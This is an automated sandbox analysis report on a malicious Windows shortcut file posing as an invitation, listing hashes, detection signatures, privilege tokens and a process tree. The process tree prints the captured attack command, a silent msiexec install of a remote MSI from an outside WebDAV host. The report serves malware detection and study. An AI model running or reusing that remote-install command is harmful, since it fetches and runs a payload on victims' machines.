50fbb29db14c035f8483b67fa97291afcfd4c464b0cbe363b311ff58330c2570

Analysis

max time kernel
118s
max time network
126s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
31/08/2023, 02:51

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General

Target

AMG_Invitation_Benci2023.lnk
Size

1KB
MD5

6b0a6865586656afd56a14ad525b3c51
SHA1

dc21fd55db7b1d39915a7a27fb7551cadca7be57
SHA256

50fbb29db14c035f8483b67fa97291afcfd4c464b0cbe363b311ff58330c2570
SHA512

c2e5b0fec0e29dade8ddcbe7a0d27af14602010b97230b95c9b7a9eac2413f9af852e76cc11ff0d41a77c18d85e7a4bef51222c9ba1d28a7c4e51f739ef1bcf9

Score

7^/10

Malware Config

Signatures

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2892	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2892	msiexec.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2892	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2892	msiexec.exe
Token: SeRestorePrivilege	2800	msiexec.exe
Token: SeTakeOwnershipPrivilege	2800	msiexec.exe
Token: SeSecurityPrivilege	2800	msiexec.exe
Token: SeCreateTokenPrivilege	2892	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2892	msiexec.exe
Token: SeLockMemoryPrivilege	2892	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2892	msiexec.exe
Token: SeMachineAccountPrivilege	2892	msiexec.exe
Token: SeTcbPrivilege	2892	msiexec.exe
Token: SeSecurityPrivilege	2892	msiexec.exe
Token: SeTakeOwnershipPrivilege	2892	msiexec.exe
Token: SeLoadDriverPrivilege	2892	msiexec.exe
Token: SeSystemProfilePrivilege	2892	msiexec.exe
Token: SeSystemtimePrivilege	2892	msiexec.exe
Token: SeProfSingleProcessPrivilege	2892	msiexec.exe
Token: SeIncBasePriorityPrivilege	2892	msiexec.exe
Token: SeCreatePagefilePrivilege	2892	msiexec.exe
Token: SeCreatePermanentPrivilege	2892	msiexec.exe
Token: SeBackupPrivilege	2892	msiexec.exe
Token: SeRestorePrivilege	2892	msiexec.exe
Token: SeShutdownPrivilege	2892	msiexec.exe
Token: SeDebugPrivilege	2892	msiexec.exe
Token: SeAuditPrivilege	2892	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2892	msiexec.exe
Token: SeChangeNotifyPrivilege	2892	msiexec.exe
Token: SeRemoteShutdownPrivilege	2892	msiexec.exe
Token: SeUndockPrivilege	2892	msiexec.exe
Token: SeSyncAgentPrivilege	2892	msiexec.exe
Token: SeEnableDelegationPrivilege	2892	msiexec.exe
Token: SeManageVolumePrivilege	2892	msiexec.exe
Token: SeImpersonatePrivilege	2892	msiexec.exe
Token: SeCreateGlobalPrivilege	2892	msiexec.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2596 wrote to memory of 2892	2596	cmd.exe	28
PID 2596 wrote to memory of 2892	2596	cmd.exe	28
PID 2596 wrote to memory of 2892	2596	cmd.exe	28
PID 2596 wrote to memory of 2892	2596	cmd.exe	28
PID 2596 wrote to memory of 2892	2596	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AMG_Invitation_Benci2023.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i \\view.file-cdn.cloud\DavWWWRoot\1.msi /qn
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2892

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads